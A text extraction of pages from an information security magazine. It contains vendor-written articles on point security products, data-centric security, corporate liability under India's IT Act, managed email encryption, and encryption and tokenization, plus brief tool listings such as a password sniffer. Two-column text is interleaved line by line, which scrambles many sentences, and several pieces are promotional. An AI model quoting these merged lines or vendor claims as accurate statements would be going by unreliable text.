resulting in a new batch of defense mechanisms and products.

This ongoing and ever-expanding labyrinth of take. In some cases it!s even true - integrating
security solutions can be confusing and ex- IT security within other applications is a good
pensive for organizations trying to secure their thing. However, relying on embedded security
information systems. The very thought of ad- or security suites as opposed to best-of-breed
ditional security packages are viewed with point solutions is not always the best way to
fright or outright contempt. One can readily go. There are numerous situations where
imagine, if not actually hear, the IT depart- point solutions are easier to administer, better
ment respond with “Oh no, not another at security, and more cost effective than em-
#@%?!! security product to install and bedded security or suites. In those instances,
manage!” specific point IT security products are the
ideal solution. Not a four letter word at all.
Corporations of all sizes are clamoring for
simpler ways to deal with IT security. Many Consolidation doesn!t build a better
organizations feel the fewer number of IT se- mousetrap
curity products, the better. Some might even
reason that there should be no point security 2007 may have been the Year of Non-Stop
products at all, and that IT security should just consolidation in the information security mar-
be built into all network and host operating ket. Mergers and acquisitions aren!t new and
systems, acting as silent, subtle background some have led to good things. Unfortunately,
features that administrators don!t have to just because products fly under the same
know anything about. badge, does not mean they are integrated,
work together, or even make sense to be
On the surface such viewpoints seem rea- packaged together. Examples and side effects
sonable and perhaps obvious positions to of consolidation gone wrong include a lack of

www.insecuremag.com 56
any real integration, slowing of innovation and range of IT tasks. Yes, breadth is important,
new releases, diminished focus on actual se- but security depth, completeness, and accu-
curity issues, big expensive bloatware when racy cannot be sacrificed for system width. A
lightweight focused solutions will do better, security solution that is a mile wide but only
and being locked into an inflexible, vendor- an inch deep won!t provide the protection
specific approach. With all of the consolida- needed by organizations under attack.
tion and investment in more expensive and
larger systems, customers are not necessarily As an example, systems management solu-
seeing any added value. They aren!t becom- tions are not focused on security. While they
ing more secure. might acquire various security technologies
and bolt them on to give the appearance of
Bigger isn!t always better deep security across a wide scope of applica-
tions, these vendors are focused on other
In the wake of consolidation, some acquiring core competencies, and the security features
vendors will have you believe that the best tend to languish and fall behind.
solution is the one that covers the widest

YES, BREADTH IS IMPORTANT, BUT SECURITY DEPTH, COMPLETENESS,


AND ACCURACY CANNOT BE SACRIFICED FOR SYSTEM WIDTH.

Lack of real integration is a significant There will always be a need for additional
problem 3rd party security products

It is difficult to successfully integrate multiple The entire IT security industry exists because
IT security technologies and products into a all systems have inherent bugs and weak-
cohesive solution, or suite. Although there are nesses, including security vulnerabilities.
exceptions, the “integrated solutions” offered
are not really integrated at all. The features That isn!t going to change anytime soon, so
and technologies were developed by different 3rd party security products are necessary to
companies with varying objectives, using dif- address the exploitable weaknesses present
ferent development teams, for different in larger systems. Furthermore, operating sys-
threats. tems and comprehensive systems manage-
ment applications have long development and
The various packages have dissimilar inter- release cycles. They can!t respond quickly to
faces and administration styles. As any soft- the needs of the rapidly changing security
ware vendor who has attempted will attest, it!s landscape. Again, 3rd party security products
incredibly difficult to take multiple point prod- can fill that gap. While security vendors and
ucts and piece them together into a cohesive technologies will continue to be acquired and
whole without losing big chunks of the fea- embedded within larger systems, new point
tures, functionality, and benefits. security solutions will also keep emerging to
address the ongoing and ever changing secu-
In those rare cases where a supplier actually rity threats.
expends the resources to properly integrate, it
usually takes a number of years to pull it off. Innovation also plays a key role. Most of the
Unfortunately by then different solutions are innovation in the IT security industry comes
needed to protect against the endless stream from smaller companies with point solutions.
of innovative attacks and the process must be Larger systems management focused ven-
repeated. It!s a vicious cycle to maintain and dors see security as a checklist item that they
get right. More often, a number of diverse can provide for their customers. In that envi-
products are merely slammed together as a ronment, innovation becomes an expense
“package.” This kind of consolidation hurts rather than an asset and therefore takes a
more than it helps. back seat to maximizing revenue.

www.insecuremag.com 57
This however is opposite for smaller compa- This principle is also true of other network and
nies who thrive only on innovation, so they systems management products like Tivoli or
tend to lead in this area, continuously bringing Openview. While these tools can manage the
new point solutions to the marketplace. patching of critical systems, they are not fo-
cused on security and don!t go as deep as
Another reason for deploying 3rd party secu- pure point security products. For example,
rity solutions is to provide depth of defense. they rarely if ever cover patch management
Deploying multiple, varying security counter- needs for 100% of an organization!s applica-
measures has become standard practice for tions. There is almost always a percentage,
many high profile organizations that are sub- typically between 5 to 20 percent, of applica-
ject to specific targeted attacks. Not only can tions that fall through the cracks and go un-
3rd party point security products provide managed. Point products fill the gaps left by
backup defenses for other systems, they can network and systems management products.
be used to audit or validate that systems are Point products don!t replace solutions like Ti-
correctly configured and that the security is voli, SMS, or WSUS, but rather operate as
actually working. In spite of how nice it would companion products, complementing and
be for the operating system or network and providing important security benefits other-
systems management applications to handle wise not available.
all security efficiently and transparently, it
cannot be. Third party point security products Another important consideration regarding
will continue to be necessary, and to a fairly point solutions is the time to implement and
significant extent. effort required to manage. A large scale Tivoli
system can easily take 9 to 18 months to im-
Patch management - a case in point plement and several full time administrators to
manage. A best-of-breed point solution, on the
To illustrate how a point product can be a other hand, may be deployed and maintained
valuable tool in your IT security arsenal, look in a fraction of that time, producing benefits in
no further than patch management. Micro- hours rather than weeks or months.
soft!s WSUS only addresses Microsoft sys-
tems and applications. Unfortunately Apache, Summary
Mozilla Firefox, QuickTime, Adobe, Sun JAVA,
to name just a few non-Microsoft applications Point security products are not 4 letter words.
are realities in most networks today. While In your time of need they just might become
custom scripts can be created in these sys- your best friend. If you required specialized
tems, that is a complicated, resource- medical care, you wouldn!t want to rely on a
intensive task. A separate patch management generalist. You would want a certified point
solution is required to cost-effectively close specialist who does nothing but focus on solv-
those gaps in security. Likewise, Microsoft ing the particular threats to your health. The
WSUS can!t easily manage systems that are same holds when it comes to IT security and
offline. This is a particular challenge for large protecting the health of your organization!s
enterprises where at any given moment there information. While the consolidation trend will
are potentially thousands of devices that are continue, it doesn!t mean that a bigger, more
not connected to the network. Extraordinary expensive, more complicated solution is the
steps must be taken to patch previously right solution to solve your problem. Unless
offline machines as they go-online. Again, it consolidation results in a more secure prod-
takes a best of breed point product to effec- uct, and one that is easier to administer and
tively administer the patch management of sustain over the long haul, customers are bet-
offline systems. ter off with best of breed point products. And
that!s not going to change anytime soon.

Nancee Melby is the Senior Product Manager for Shavlik Technologies (www.shavlik.com). Shavlik is the mar-
ket leader for patch management and compliance management software solutions. With more than 20 years of
experience in the computer software industry, Ms. Melby is focused on increasing awareness of Shavlik's
unique approach to solving security issues, combining simplicity, accuracy, flexibility, and scalability to create
innovative and cost-effective solutions.

www.insecuremag.com 58
trisul (www.net-security.org/software.php?id=707)
Trisul is a network metering and forensics tool. You can install Trisul on any Linux box and have it look at
network traffic in real time or via capture files. It meters the traffic (by host, by protocol, by subnet, etc) and
stores the results in a SQL database.

SniffPass (www.net-security.org/software.php?id=716)
SniffPass is a network protocol sniffer that automatically captures password that are transmitted via POP3,
IMAP4, SMTP, FTP, and HTTP protocol. It can be used to recover forgotten passwords that are hidden
behind asterisks or otherwise inaccessible. SniffPass can use RAW sockets on XP/2000 and requires
WinPcap for other Windows operating systems.

fwknop (www.net-security.org/software.php?id=695)
fwknop implements an authorization scheme called Single Packet Authorization that requires only a single
encrypted packet to communicate various pieces of information, including desired access through an
iptables or ipfw firewall policy and/or specific commands to execute on the target system.

SimpleAuthority (www.net-security.org/software.php?id=680)
SimpleAuthority is a free Certification Authority (CA). It generates keys and certificates that provide crypto-
graphic digital identities for a community of people and/or computer servers. These identities are designed
to be used in other applications for security purposes within this community.

www.insecuremag.com 60
The sun is rising on an information-centric security world.

In an increasingly mobile and collaborative can store on our desktops and our mobile de-
business climate, the perimeter-based secu- vices has increased by over a hundred times.
rity architectures of the past have become
glaringly insufficient. Through forward thinking Note that, when we speak of data, we mean
or painful data security breaches (or both), IT the literal ones and zeroes that are moving
decision makers are beginning to abandon over our networks and that reside on storage
device-centric and application-centric security. devices like disks. Information, on the other
Instead of depending on technologies such as hand, is data that has true business context or
firewalls and device access control, enter- value. In regards to real business problems,
prises will come to rely upon - and even relish information is much more relevant than data.
- flexible systems that focus on protecting the From the perspective of an enabling technol-
information itself. ogy, though, data is the target, and we focus
on data in this discussion.
We!ve come a long way
But security hasn!t kept up!
In the short time since the IBM PC was intro-
duced 27 years ago, IT innovation has been With the core building blocks, IT infrastruc-
largely directed at the building blocks of col- tures are only now reaching a level of maturity
laborative computing. A few of these building needed to truly enable information-driven col-
blocks include the open operating system, laboration. Security is lagging behind this
ubiquitous mobile networking, and processing trend, however. Instead of proactively protect-
power. Also, data storage capacity per unit ing the most important IT asset - the data itself
cost has been nearly doubling per year (on - most products continue to focus on locking
average) for the past decade. Since the heady down a specific device, a specific pathway, or
IT year of 1999, the amount of data that we a specific application.

www.insecuremag.com 61
As many enterprises have learned, such they leave his office email outbox. The Direc-
point-based security products cannot address tor!s home computer is then compromised by
the IT-related business problems of our di- spyware, and the sensitive financial informa-
verse and impatient world. That is, point- tion is potentially exposed. Although the attack
based products are unable to comprehen- may never be detected, the company may be
sively protect information for even the simplest harmed.
real-world use cases.
These are only a few of the thousands of sce-
Consider the following scenarios: narios in which point-based products fail to
1. Through the process of treatment, a psy- address simple use cases. Enterprises collec-
chologist uses his office computer to record tively invest hundreds of millions of dollars in
and store detailed notes on a patient!s per- point-based data security, but damaging
sonal life, a patient!s private thoughts, and a breaches continue to occur. The status quo
clinical diagnosis. The notes are protected us- patchwork of point solutions leaves significant
ing a simple device-based file encryption holes in enterprise security - the point-based
product. The psychologist moves the notes approach simply isn!t working.
onto a USB drive so that he can write a report
while at home, and he places the USB drive in Data will become incredibly valuable, and
a coat pocket. The files must be saved to the so will security
USB drive unencrypted, however, because of
the inherent limits of the device-based file en- If you think that data in those scenarios has
cryption solution. On the train ride home, the significant value, then brace yourself for the
unprotected USB drive, which includes the reality of data of the future. Given current
most sensitive details of that patient!s life, ac- trends in storage, by the year 2020, a desktop
cidentally falls out of the psychologist!s computer will be able to share and store entire
pocket. digital representations of a human brain. By
the year 2030, your desktop computer will
2. A Human Resources manager creates an likely be able to simulate the operation of a
employee census by accessing a series of so- brain. That is, all of the neural firings in a mind
cial security numbers from a database and may be modeled in real time on your home
collecting the results in an Excel spreadsheet computer while you are viewing instructional
on her laptop computer. The database uses webcast videos and reading the latest news
strong encryption to protect the data, but once on the security industry. Does this mean that
the data exits the database and the data cen- our Blackberries and iPods will be trans-
ter, other products - which the manager!s formed into pocket-sized Einsteins? Not nec-
company doesn!t own - would be needed to essarily, but the availability and utility of such
protect the derivative data. Thus, the spread- rich data will make information the single most
sheet is exposed on the laptop. After leaving valuable asset that any business will possess.
work, while dining in a local restaurant, the
manager!s laptop is stolen from her car. Per Let!s conjure some future business examples.
several state laws, the company must notify Using their mobile devices, financial analysts
the public of the breach. may freely transmit complex algorithms and
petabyte-sized data sets to predict events in
3. A Director of Finance of a publicly traded stock markets. Airlines may employ similarly
manufacturing company stores key confiden- complex algorithms to perform pricing optimi-
tial financial figures on his office computer. zation. However, instead of running the op-
The office computer uses multi-layered en- timizations in a locked-down data center, the
cryption technologies to protect the financial software that implements the highly valuable
data, including file encryption and full disk en- and proprietary pricing algorithms will be exe-
cryption. So that the Director does not have to cuted on third-party or public processors that
burn the midnight oil in the office, the Director are distributed across the globe (in order to
emails certain financial data to his personal take advantage of enormous distributed com-
email account in order to work at home. Be- puting power). Extensive results of molecular
cause the encryption is limited to his device, computer simulations, which could result in
the email attachments are not encrypted as new, multi-billion dollar revenue streams, may

www.insecuremag.com 62
be shared between pharmaceutical research- Numbers don!t lie
ers with the ease of a text message.
If the philosophy of data-centricity doesn!t
Considering data!s increasing mobility, distri- persuade you, then consider the simple eco-
bution, and value, why continue to pursue nomics of IT security. Investing in employee
data protection by building perimeters around “common sense” training and tracing software
selected stationary computing devices? As might ultimately save a company $2,000 by
data proliferates, the surging number of de- preventing the loss or theft of a laptop. Invest-
vices and pathways that store and transmit ing in anti-virus or anti-malware software may
data will only become more difficult to antici- repel a worm that would otherwise cost a
pate and protect. company $15,000 in lost productivity (associ-
ated with paralyzing a 100-person workgroup
The time has arrived to embrace a fundamen- for half a day).
tally new, more scalable approach — a data-
centric security paradigm. Continued support Despite these investments, if a single spread-
of a device-centric security model would only sheet is exposed that contains 10,000 social
foster an infrastructure that is too complex to security numbers, however, a company can
manage and too expensive to maintain. incur costs of over $1 million. Singular data
breaches can cost hundreds of times as much
as many other types of IT security events.

THE TIME HAS ARRIVED TO EMBRACE A FUNDAMENTALLY NEW, MORE


SCALABLE APPROACH — A DATA-CENTRIC SECURITY PARADIGM.

Given these statistics, data security, not can enable data objects to communicate their
physical or perimeter security, clearly warrants characteristics to devices and other data ob-
the highest degree of attention and invest- jects. Such “smart data” objects should also
ment. Most enterprises, however, have yet to possess abilities to perform operations (such
implement to an enterprise-wide data protec- as deletion) on themselves.
tion program. Why? One of the most pertinent
reasons is the fact that the security industry is Second, to realize a data-centric security vi-
only beginning to offer data-centric security sion, it is critical for security policies to be uni-
solutions. Due to the realities of legacy sys- versal. Universality requires both persistence
tems and ingrained user expectations, build- and uniformity. As data moves between het-
ing a usable data-centric security solution is erogeneous devices, such as servers, laptops,
no small feat. and removable media, the policies that govern
the protection of the data must be persistently
The recipe for data-centric security enforced. Also, so that the policies are inter-
technology preted uniformly throughout an enterprise,
there must be a common policy language that
Emerging data-centric security solutions must all devices can understand. Rather than at-
incorporate three key virtues: smart data, uni- tempt to achieve universal policies through
versal policies, and amenable implementa- combinations of standards and point products,
tions. the most effective method of implementing
universal policies is to embed policies in the
First, for data to be adequately protected, a data itself. This way, no matter where the data
security solution must make data easier to moves or resides, policies consistently remain
identify and manage. You can!t hit a security with the data.
target if you don!t really know where the target
is or how the target looks. By enriching data Lastly but most importantly, any successful
objects with metadata and certain built-in ca- data-centric security solution must be virtually
pabilities, we can effectively empower data to transparent to users.
protect itself. A data-centric security solution

www.insecuremag.com 63
That is, users should not have to modify any many different IT environments and that
of their habits or workflow to benefit from the avoids inconveniencing users.
security solution. Also, existing software appli-
cations and computer platforms should not It!s all about the data! While a healthy IT infra-
require upgrades as part of the security de- structure is important, real business value lies
ployment. Nearly all IT environments utilize in the data itself. As data gains value and be-
legacy systems, and it is difficult for adminis- come more distributed, only data-centric secu-
trators to justify IT overhauls for the sake of rity solutions can cost-effectively protect en-
security. By taking a data-centric versus a terprise information. Data protection will make
device-centric approach, it is possible to cre- the difference between success and failure for
ate a flexible security solution that applies to companies in the coming years, so the time to
adopt a data-centric approach is now.

Patrick McGregor is the CEO and a founder of BitArmor (www.bitarmor.com). He holds a Ph.D. from Princeton
University in computer engineering as well as master!s degrees from both Princeton and Carnegie Mellon uni-
versities. An expert in computer security and a sought-after speaker, Dr. McGregor has presented at numerous
industry events, including the RSA Conference in 2008, and has given guest lectures at his alma mater, Car-
negie Mellon. He will also present a briefing at the upcoming Black Hat USA 2008 conference in Las Vegas.

www.insecuremag.com 64
The responsibility of top corporate executives is becoming complex and tedi-
ous in the era of Information and Communication Technology (ICT). On the
one hand they have to manage the cyber security mandates of the ICT in their
companies whereas on the other hand they have to face the brunt of statutory
non-compliances. This is a very ticklish situation as it requires a techno-legal
expertise to manage both the fronts that is rarely found. The risks of “corpo-
rate due diligence” are not only apparent but also very threatening. This work
is exploring the same from Indian perspective.

The perpetuation of cyber crimes has under- material on Baazee!s platform by others. This
gone a sea change. From mere fun activity, created a sense of insecurity among the cor-
cyber crimes have become tools of making porate executives regarding the dealing done
profit, stealing competitor!s information, corpo- by and through their platforms. The Informa-
rate espionage, etc. In short, they have be- tion Technology Act, 2000 (IT Act, 2000),
come a “professional activity”. The matter which is the sole cyber law of India, was at-
does not end here. tacked on many counts due to the Baazee!s
case.
The commission of a cyber crime also raises
certain statutory and legal issues and if the The already weak cyber law of India got struck
same has been committed using a corporate in the doldrums of amendments and sugges-
platform, the top executive of the companies tions making it the worst nightmare for the In-
may find themselves in trouble in many cases. dia cyber law. An expert committee was ap-
For instance, in the infamous MMS episode, pointed to bring suitable amendments in the IT
the CEO of Baazee.com was arrested and Act, 2000 that was further degraded by its
prosecuted for the posting of pornographic suggestions and recommendation.

www.insecuremag.com 65
These amendments were severely criticized pression "director", in relation to a firm, means
by many and we also sent our own sugges- a partner in the firm.
tions and recommendations to the Parliamen-
tary Standing Committee. The Parliamentary The language of the section is not alien to In-
Standing Committee on Information Technol- dia legal system. The imputation of criminal
ogy found the amendments highly defective liability to certain “natural persons” is logical
and slammed the government for the same. It because a company, being an artificial person,
virtually rejected the amendments and the In- cannot operate automatically. Thus, to con-
formation Technology (Amendment) Bill, 2006 duct the affairs of the company certain natural
could not see the light of the day, though persons are required, who alone can be sad-
rightly and in the larger interest of India. dled with the liability of the wrongs committed
by the company. As a corollary, only that per-
The net effect of this futile exercise is that af- son can be held liable for the wrong who was
ter wasting few years and lot of resources we responsible for the conduct of the business at
are still with the same old and weak cyber law the time when the wrong was committed. This
of India. We could have made the IT Act, 2000 is so because the supreme authority, on
stronger and safer with an emphasis upon cy- whose orders and directions the company is
ber security. Since there is no change in the bound to act, can safely be presumed to have
exiting cyber law, we must analyze the corpo- the “express” as well as the “constructive
rate due diligence in the light of existing provi- knowledge” of the wrong committed by the
sions of IT Act, 2000. Section 85(1) of the IT company. He cannot escape his liability by
Act, 2000 provides that where a person com- merely pleading either ignorance of the law or
mitting a contravention of any of the provi- ignorance of the “factum of the wrong”.
sions of this Act or of any rule, direction or or-
der made thereunder is a Company, every If the supreme authority was in charge of the
person who, at the time the contravention was day-to-day affairs of the company at the rele-
committed, was in charge of, and was respon- vant time and the commission of the wrongful
sible to, the company for the conduct of busi- act was within his powers, competence,
ness of the company as well as the company, authority and reach, then the law can safely
shall be guilty of the contravention and shall presume that its commission had a backing of
be liable to be proceeded against and pun- that authority. This is, however, a rebuttable
ished accordingly. presumption that can be rebutted at the trial
stage. Till then the law will consider the
The proviso to section 85 (1) provides that authority as the responsible person. In fact,
such person will not be liable for punishment if when the matter pertains to involvement of
he proves that the contravention took place government departments/institutions, then the
without his knowledge or that he exercised all “head of the department/institution” is held li-
due diligence to prevent such contravention. able for the wrong.
Section 85(2) provides that where a contra-
vention of any of the provisions of this Act or Similarly, when the wrongful act was commit-
of any rule, direction or order made thereun- ted with the consent or connivance of, or is
der has been committed by a company and it attributable to any neglect on the part of, the
is proved that the contravention has taken supreme authority, who was responsible for
place with the consent or connivance of, or is the day to day functioning of the company,
attributable to any neglect on the part of, any such authority shall also be deemed to be
director, manager, secretary or other officer of guilty of the contravention and shall be liable
the company, such director, manager, secre- to be proceeded against and punished ac-
tary or other officer shall also be deemed to cordingly.
be guilty of the contravention and shall be li-
able to be proceeded against and punished The companies, generally appoint and de-
accordingly. The explanation to section 85 clare, a particular individual as the “Principal
provides that the expressions “company” officer” or “Officer in default”, who alone is re-
means any body corporate and includes a firm sponsible for the compliance of certain rules,
or other association of individuals and the ex- regulations and laws.

www.insecuremag.com 66
If any contravention occurs, then such officer the contravention. Another example where the
in default is responsible for the same. Such defense of “preventive precaution” is where
officer in default can escape his liability if he despite the best tangible efforts on the part of
proves that the contravention happened with- the officer in default, the commission of the
out his knowledge or that he had taken all contravention could not be prevented. In that
reasonable precautions for the prevention of situation the company is exonerated from the
the same. liability as it has exercised all "due diligence”
for the prevention of the commission of the
There may be a situation where the officer in contravention.
default may be forced to take actions, which
are in contravention of the law, by the su- Corporate due diligence is a difficult process
preme authority. In that situation, the primary to handle and it requires great expertise on
liability of the contravention will be that of the the part of legal department of the company to
supreme authority, though the officer in default manage the same. In India there are rarely
will also be liable. The court may, while award- any law firms that have the capabilities to pro-
ing the punishment, consider this fact and vide techno-legal ICT expertise. The position
may grant a lesser punishment. But in no case is worst when it comes to companies as they
he is exonerated from the liability. Thus, the have no techno-legal expertise and they rely
officer in default must take the mandates of upon law firm to manage their due diligence
law very seriously. The officer in default must requirements. It would be a good idea to pro-
restrain from being a part of such contraven- vide training to the key personnel of the com-
tion and must take a safer recourse. In such a pany about the basic cyber law provisions and
situation he can claim that he took all reason- their applicability and implications.
able precautions to prevent the commission of

Praveen Dalal is the Managing Partner of Perry4Law and heading its PTLB division. Perry4Law is the first and
exclusive techno-legal and ICT law firm in India and is in operation since 2002. It deals with legal issues asso-
ciated with ICT and use of ICT for legal purposes. PTLB is one of the techno-legal ICT initiatives of Perry4Law
and is in the process of upgradation and formalisation. Praveen Dalal!s specialisations include areas like Cy-
ber Law, Cyber Security, Cyber Forensics, Digital Evidencing and Corporate ICT Compliances.

www.insecuremag.com 67
If you build it they will come - the stress, the headaches and the sleepless
nights. That!s why small and medium size businesses (SMBs) should turn to
an email encryption service rather than trying to build their own encryption
solutions.

For decades large companies made incredible business. It!s also more economically advan-
investments in their IT infrastructure. They did tageous if you don!t have the financial
it to create competitive advantage – for exam- resources of a Fortune 500 company.
ple, to have better access to information, or to
lower costs, perhaps by implementing an En- More than a regulatory requirement
terprise Resource Planning system. They
dedicated dozens, even hundreds of people to Every company needs email encryption.
each application. Regulations demand it and an organization!s
brand and integrity depend on it. Mark Ander-
Small and medium business cannot afford to son of the H. Lee Moffitt Cancer Center said,
do that. Worse, when they deploy the systems “We!re bound by rules to protect our patients!
they need to conduct business, they often information, but we also do it [implemented an
have people partially assigned to projects. email encryption service] because it!s the
This leads to a firefighting mentality that right, responsible and ethical practice.”
leaves the IT shop stressed and not working
on projects that can truly help the company. Businesses often balk when confronted with
the concept of cryptography because it is con-
By moving to an email encryption service, you sidered complicated. Implementing it often
can free your IT staff to concentrate on what is means learning about key management, cer-
really important to your company – your core tificates and authentication. It also means

www.insecuremag.com 69
integrating new hardware and software into The next generation of email encryption com-
your systems. However, choosing a managed panies tried to solve the security problem.
service for email encryption takes away all Their solutions were an improvement because
those headaches. In order to understand the they added a deliver-to-anyone capability.
benefits of email encryption as a service, it!s Where the early solutions were good for initial
best to review some of the history of email en- adopters, these solutions were like a full first
cryption. version – an Email Encryption 1.0, if you will.
However, these providers were missing some
When email encryption was first discussed in essential thinking. Each of their solutions was
the early "90s, most people were only con- still a silo. While their customers could com-
cerned about the content protection for inter- municate with anyone, every customer still
nal emails from internal threats. Companies had to handle their own key management.
like Entrust created very complex systems us- This was a headache and a nightmare for
ing public-key infrastructures (PKIs), with cer- SMBs lacking the IT resources to dedicate to
tificates, CRLs and cross-certificates. These this demanding task.
systems worked well within big corporations,
but broke down when emails were delivered Two problems cropped up. The end recipients
externally. had to have a set of credentials for each com-
pany that communicated with them (see the
The problem was nobody realized how impor- diagram below) and each company had to
tant the Internet would become for business manage all of the credentials all for their re-
communication. In the past, each company cipients.
was a silo, with a few formal electronic con-
nections among them. There was some ad Email encryption 2.0
hoc intra-business communication being done
by fax and phone, but the very nature of this A new way of thinking about email encryption
type of communication limited the amount of was needed. Let!s call it call it Email Encryp-
information that could be exchanged. Internet tion 2.0 for the sake of following a timeline. If
companies soon realized that massive intra- setting up key management and recipient cre-
company collaboration was possible, and in dentials is the hardest part of email encryp-
fact essential, to increased profit. Email was tion, then it only makes sense to let somebody
fast becoming the greatest and most popular else manage the complexity of encryption
business tool. However, IT departments did (see the diagram on the following page). Let!s
not have a strong method of securing the ad take a look at what features are required for
hoc emails that were starting to flow between an effective email encryption system in to-
companies. day!s business environment.

www.insecuremag.com 70
There are a lot of choices when it comes to recipients may prefer to get their secure mail
email encryption. There!s one simple rule, es- via Web delivery.
pecially for SMBs – easy encryption is useful
encryption. If it is complicated, people will not Look for a service that puts all of their users
use it. The most important element of ease-of- into a centralized directory which allows
use is from the perspective of the end user. seamless and secure interconnectivity for all
It!s also important to make it easy for the re- users. Without a central key repository or di-
cipient. And let!s not forget about your hard- rectory, communicating securely with partners
working and overburdened IT staff. or valuable clients can be a maze of complex-
ity for both senders and receivers. A central-
Policy-driven email encryption makes the job ized key repository also makes it possible to
simple for the sender. With a policy-driven send secure emails to anyone, anywhere,
system, every outbound email is inspected to without the hassle of pre-registration. With
see if it contravenes a corporate policy. If the these services, you will find that a significant
policy says the email should be encrypted number of the organizations and people you
then this automatically happens. The beauty deal with will have already chosen how they
of this system is that your employees don!t like to receive their encrypted emails. The so-
have to remember to secure an email but still lution you choose should offer the ability to
retain the capability to force encryption. Look connect all the users of a system together in
for email encryption companies with a wealth one accessible directory. Outsourcing email
of experience in building strong policy inspec- encryption makes the whole solution easier for
tion tools specific to your market. the IT department, especially for SMBs. Key
management for email encryption is complex.
Using a deliver-to-anyone solution with the Outsourced solutions make sense for those
ability to select the best method of encryption wishing to deploy their resources on more
for the recipient makes it much easier for the strategic projects. Look for vendors that have
people receiving secure emails. The easier it WebTrust or SysTrust-certified data centers
is for your recipients to open, the fewer com-
plaints you will get. For example, these best- Email encryption makes your company more
method mechanisms will check to see if the secure and trusted. Using a service allows
recipient has made a choice about how they you to have peace of mind at the lowest pos-
like to get their encrypted email. Some recipi- sible cost, and guarantees customer satisfac-
ents may be behind a Transport Layer tion that you!re doing all you can to protect
Security-capable mail transport agent, others their data. And that!s enough to let everybody
may have their own desktop software. Other have a good night!s sleep.

Nigel Johnson is Vice President of Product Management and Business Development for Zix Corporation
(www.zixcorp.com) and has more than 20 years of IT security expertise.

www.insecuremag.com 71
The Fundamentals of Physical Security (www.net-security.org/article.php?id=1128)

Deviant Ollam works as a network engineer and security consultant but his strongest love has
always been teaching. A supporter of First Amendment rights who believes that the best way to
increase security is to publicly disclose vulnerabilities, Deviant has given lockpick demonstrations
at ShmooCon, DefCon, HOPE, HackCon, HackInTheBox, and the West Point Military Academy.
In this video, made at Black Hat Europe, he discusses the importance of physical security and
illustrates that with a real-world example.

Showcase: Portable Security (www.net-security.org/article.php?id=1136)

At the RSA Conference 2008 in San Francisco we caught up with MXI Security. In this video you
can see a showcase of their offerings related to portable security.

PCI Compliance Explained (www.net-security.org/article.php?id=1145)

Learn about the Payment Card Industry Data Security Standard (PCI DSS), a security standard
that includes requirements for security management, policies, procedures, network architecture,
software design and other critical protective measures.

Subscribe to the HNS YouTube channel at www.youtube.com/helpnetsecurity


www.insecuremag.com 72
Well documented breaches have heightened the public!s and regulatory
agencies! concerns about how well companies are securing consumer-
specific information. Despite some initial advances, sensitive information is
still commonly stolen.

Internal threat issues and the fact that ex- system to prevent leakage of sensitive infor-
tended partnerships lead to that, more and mation. Data Usage Control can complement
more tasks will be performed outside the the core protection by detecting and prevent-
physical boundaries of company facilities ing data misuse through the direct monitoring
which will add another level of due diligence and behavioral analysis of sensitive opera-
we must take into account. This article will tions on databases and file systems.
present different practical methods that can
help prevent advanced attacks from internal Some well documented security breaches
and external sources. Several of these meth- also highlighted one area of weakness when
ods go beyond the basic protection require- data is in transit and, particularly, in transit
ments for data at rest in PCI DSS 1.1 defined within a single entity or enterprise such as on
by the major credit card companies. Several an internal network. As legislation and public
of these solutions are applicable to booth ap- concern over well-publicized security
plications, files and databases. breaches pushes organizations to better se-
cure their data, it is no longer acceptable to
Separation of duties is a cornerstone for true encrypt data only when it is stored in a data-
data protection. A data security policy sepa- base. Rather, data fields and files should be
rated from the database, file system or appli- continuously encrypted as they move
cation environment can provide greater secu- throughout an enterprise and beyond.
rity across most enterprise legacy environ-
ments. This article will discuss different meth- Protection of the data flow can be supported
ods to enforce separation of duties, protection by including the metadata with the protected
of data and controlling integrity of the security sensitive data to provide the receiving system

www.insecuremag.com 73
with required information for decryption of and difficult challenges arise. In general, those
data. A high level of transparency can be with access to information are trustworthy and
achieved by compressing the protected data would never consider accessing and/or using
and including the metadata into the same information improperly. However, in the area
amount of space as originally allocated. This of electronic commerce, credit card fraud and
approach can be used in most cases when identity theft have become commonplace.
protecting credit card data. The Continuously Such problems have spurred advances in the
Protected Computing approach can be com- technology of securing data.
bined with partial encryption applied to some
data fields to improve security by minimizing Examples of such advances are the
the need to access encryption keys and mini- commonly-used secure sockets layer (SSL).
mizing the number of platforms that require Intermediaries in the process are not able to
cryptographic services installed. do more than simply move the incoming file to
a subsequent destination, even though the
Credit card fraud and identity theft have intermediary is an integral part of the ongoing
become commonplace client-server relationship. Hence, the very na-
ture of the security mechanisms presents limi-
Sitting in the glow of a computer screen, an tations that in order for an intermediary to
individual can instantaneously access infor- have access, the access criteria must be du-
mation on the opposite side of the planet by plicated in a complex and difficult to maintain
the Internet and other means. As companies manner. Despite these advances, sensitive
continue to integrate such capabilities into information is still commonly stolen and illicitly
more and more facets of their business, new used.

Two-way encryption of sensitive data is one of the most effective means


of preventing information disclosure.

Growing percentage of internal intrusion Combine encryption with


incidents tokenization and hashing
The reason why insider attacks hurt dispropor- Different approaches to protect sensitive data
tionately is that insiders can and will take ad- fields are needed in an enterprise environ-
vantage of trust and physical access. In gen- ment and can be combined together to
eral, users and computers accessing re- strengthen an organization's security posture,
sources on the local area network of the com- while minimizing the cost and effort of data
pany are deemed trusted. Practically, we do protection. There are radically different ways
not firmly restrict their activities because an to render data unreadable including two-way
attempt to control these trusted users too cryptography with associated key manage-
closely will impede the free flow of business. ment processes, one-way transformations in-
And, obviously, once an attacker has physical cluding truncation, one-way cryptographic
control of an asset, that asset is hard to pro- hash functions and index tokens and pads.
tect from the attacker. Two-way encryption of sensitive data is one of
the most effective means of preventing infor-
With the growing percentage of internal intru- mation disclosure and the resultant potential
sion incidents in the industry and tougher for fraud. Cryptographic technology is mature
regulatory and compliance requirements, and well proven. There is simply no excuse for
companies are facing tough challenges to not encrypting sensitive data. The choice of
both protect their sensitive data against inter- encryption scheme and topology of the en-
nal threats and meet regulatory and compli- cryption solution is critical in deploying secure,
ance requirements. effective and reasonable control. The single
largest failure in deploying encryption is at-
tempting to create an ad-hoc cryptographic
implementation.

www.insecuremag.com 74
Hash algorithms are one-way functions that reference or pointer to the actual data field.
turn a message into a fingerprint, usually more This enables you to store a reference pointer
than a dozen bytes long. Truncation will dis- anywhere within your network or database
card part of the input field. These approaches systems. This approach can be used to re-
can be used to reduce the cost of securing duce the cost of securing data fields along
data fields in situations where you do not need with proper network segmentation in situations
the data to do business and you never need where you do not need the data to do busi-
the original data back again. Tokenization is ness, if you only need a reference to that data.
the act of replacing the original data field with

As legislation and public concern over well-publicized security breaches pushes


